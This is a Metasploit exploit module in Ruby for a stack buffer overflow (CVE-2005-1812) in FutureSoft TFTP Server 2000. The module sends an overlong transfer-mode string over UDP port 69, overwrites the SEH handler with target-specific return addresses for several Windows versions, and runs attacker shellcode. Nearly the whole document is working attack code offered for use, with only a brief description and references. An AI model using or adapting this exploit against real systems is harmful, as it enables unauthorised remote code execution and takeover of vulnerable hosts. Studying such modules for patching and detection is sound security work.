FutureSoft TFTP Server 2000 – Transfer-Mode Overflow (Metasploit)
## # $Id: futuresoft_transfermode.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'FutureSoft TFTP Server 2000 Transfer-Mode Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the FutureSoft TFTP Server 2000 product. By sending an overly long transfer-mode string, we were able to overwrite both the SEH and the saved EIP. A subsequent write-exception that will occur allows the transferring of execution to our shellcode via the overwritten SEH. This module has been tested against Windows 2000 Professional and for some reason does not seem to work against Windows 2000 Server (could not trigger the overflow at all). }, 'Author' => 'MC', 'Version' => '$Revision: 9262 $', 'References' => [ ['CVE', '2005-1812'], ['OSVDB', '16954'], ['BID', '13821'], ['URL', 'http://www.security.org.sg/vuln/tftp2000-1001.html'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 350, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4} ], # ws2help.dll ['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad} ], # ws2help.dll ['Windows NT SP5/SP6a English', { 'Ret' => 0x776a1799} ], # ws2help.dll ['Windows 2003 Server English', { 'Ret' => 0x7ffc0638} ], # PEB return ], 'Privileged' => true, 'DisclosureDate' => 'May 31 2005')) register_options( [ Opt::RPORT(69) ], self.class) end def exploit connect_udp print_status("Trying target #{target.name}...") sploit = "\x00\x01" + rand_text_english(14, payload_badchars) + "\x00" sploit += rand_text_english(167, payload_badchars) seh = generate_seh_payload(target.ret) sploit[157, seh.length] = seh sploit += "\x00" udp_sock.put(sploit) handler disconnect_udp end end |